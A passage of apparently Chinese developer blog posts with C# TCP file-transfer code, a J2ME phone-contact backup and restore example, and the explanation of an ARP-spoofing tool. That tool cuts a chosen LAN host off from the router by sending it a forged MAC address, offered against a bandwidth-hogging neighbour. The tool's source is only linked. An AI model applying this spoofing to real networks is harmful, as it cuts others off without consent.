TcpListener _server = new TcpListener(3399);
_server.Start();
//while (true)
{
TcpClient _client = _server.AcceptTcpClient();
Stream _ns = _client.GetStream();
Stream _fs = new FileStream(content, FileMode.Create, FileAccess.Write);
int _count = 1024;
byte[] _bytes = new byte[_count];
while (_count != 0)
{
_count = _ns.Read(_bytes, 0, _count);
_fs.Write(_bytes, 0, _count);
}
_fs.Close();
_ns.Close();
_client.Close();
}
#endregion
3.再用vs新建个只能设备程序 作为Client端 负责发送文件名,跟文件数据
发送文件名代码
string url = "f:\\sun_java_me_sdk-3_0-win.exe";
string fileName = url.Substring(url.LastIndexOf('\\')+1);
TcpClient client = new TcpClient();
client.Connect("192.168.1.168", 3389);
Stream ns = client.GetStream();
StreamWriter sw = new StreamWriter(ns);
sw.WriteLine(fileName);
sw.Close();
ns.Close();
client.Close();
发送文件数据代码
#region 传文件
TcpClient _client = new TcpClient();
_client.Connect("192.168.1.168", 3399);
int _count = 1024;
byte[] _bytes = new byte[_count];
Stream _ns = _client.GetStream();
Stream _fs = new FileStream(url, FileMode.Open, FileAccess.Read);
while (_count != 0)
{
_count = _fs.Read(_bytes, 0, _count);
_ns.Write(_bytes, 0, _count);
}
_fs.Close();
_ns.Close();
_client.Close();
#endregion
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 。相互交流 谢谢
简单j2me实现手机通讯录的备份与还原(源码)
思路很简单,通过pim读取通讯录保存到文件中完成备份工作。还原时再通过这个文件还原通讯录
http://blog.youkuaiyun.com/xiaoxiao108/archive/2010/10/17/5947240.aspx
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
现在用的手机用了4年半了,其中摔过n次,但是从没坏过,现在还活的好好的。最近想换个windows系统版本的手机。换手机前,先再折腾折腾这个老手机吧,老手机手机只支持j2me。就用它备份下通讯录吧。备份手机通讯录的步骤分以下几步
1.通过j2me的pim相关函数把通讯录内容存入字符串中
String name="";
String tel="";
String dis="";
PIM pim = PIM.getInstance();
ContactList contactList = null;
Enumeration em = null;
try {
contactList = (ContactList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_WRITE);
em=contactList.items();
while(em.hasMoreElements())
{
Contact contact=(Contact)em.nextElement();
name=contact.getString(Contact.FORMATTED_NAME, 0);
dis=dis+name+",";
tel=contact.getString(Contact.TEL, 0);
dis=dis+tel+"\n";
}
} catch (PIMException ex) {
ex.printStackTrace();
}
2.通过j2me的FileConnection 完成通讯录的保存工作
FileConnection fc;
try {
String elem = null;
Enumeration e = FileSystemRegistry.listRoots();
while (e.hasMoreElements()) {
elem = e.nextElement().toString();
}
System.out.println("::"+elem);
//fc = (FileConnection) Connector.open("file://localhost/" + elem+"/a.txt");
fc = (FileConnection) Connector.open("file://localhost/c/mobile/video/a.txt");
if (!fc.exists()) {
fc.create();
OutputStream is = fc.openOutputStream();
is.write(dis.getBytes("UTF-8"), 0, dis.getBytes("UTF-8").length);
is.flush();
is.close();
}
} catch (Exception e) {
t.setString(e.toString());
}
这样通讯录的内容已经保存到 a.txt ,把它存入电脑就完成了保存工作
这样如果换了新手机就直接可以用a.txt 文件来还原通讯录了
还原的时候只需通过FileConnection 读取备份的文件,还原到手机通讯录就ok了 主要代码如下
FileConnection fc;
String s="";
try {
String elem = null;
Enumeration e = FileSystemRegistry.listRoots();
while (e.hasMoreElements()) {
elem = e.nextElement().toString();
}
System.out.println("::"+elem);
//fc = (FileConnection) Connector.open("file://localhost/" + elem+"/a.txt");
fc = (FileConnection) Connector.open("file://localhost/c/mobile/video/a.txt");
if (!fc.exists())
{
throw new IOException("File does not exists");
}
if (fc.exists())
{
InputStream is = fc.openInputStream();
byte[] b = new byte[1024*5];
int length = is.read(b, 0, 1024*5);
is.close();
fc.close();
if(length > 0)
{
s=new String(b, 0,1024*5,"UTF-8");
String [] str=split(s,"\n");
for(int i=0;i<str.length;i++)
{
if(str[i].indexOf(",")>=0)
{
String [] NameAndTel=split(str[i],",");
PIM pim = PIM.getInstance();
ContactList contactList = (ContactList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_WRITE);
PIMItem item = null;
item = ((ContactList) contactList).createContact ();
item.addString(Contact.FORMATTED_NAME, PIMItem.ATTR_NONE, NameAndTel[0]);
item.addString (Contact.TEL, PIMItem.ATTR_NONE, NameAndTel[1]);
item.commit();
}
}
}
}
} catch (Exception e) {
t.setString(e.toString());
}
源码下载 http://download.youkuaiyun.com/source/2763205
局域网指定ip断网工具源码(貌似arp防火墙拦不住)
http://blog.youkuaiyun.com/xiaoxiao108/article/details/5789226
只适用于小型局域网
开发环境 windowsxp vs2005
1.
局域网环境如下
192.168.1.104(00-0b-2f-43-93-7f)
192.168.1.109(00-18-DE-C5-FD-6F)
192.168.1.1(00-27-19-a3-3f-12)
2.由于 192.168.1.104 天天用直播软件,或者一天到晚的迅雷下个不停,使得192.168.1.109 使用电脑时感觉网速很卡 。
3.这时192.168.1.109 可以给路由器发arp数据包,这个地方很重要 ,不是给192.168.1.104发数据包而是给路由器发,
告诉路由器 192.168.1.104 的mac地址时(11-11-11-11-11-11) 反正一个伪造的就行
4.这时 路由器跟 192.168.1.104的通信中断 ,192.168.1.104 断网
原理很简单。。。。。。。。。。自己看代码吧
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
http://blog.youkuaiyun.com/xiaoxiao108/article/details/5789226
ext中文教程和例子
ext 中文教程和例子
欢迎大家下载
windows内核试验教程
分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下 分享一下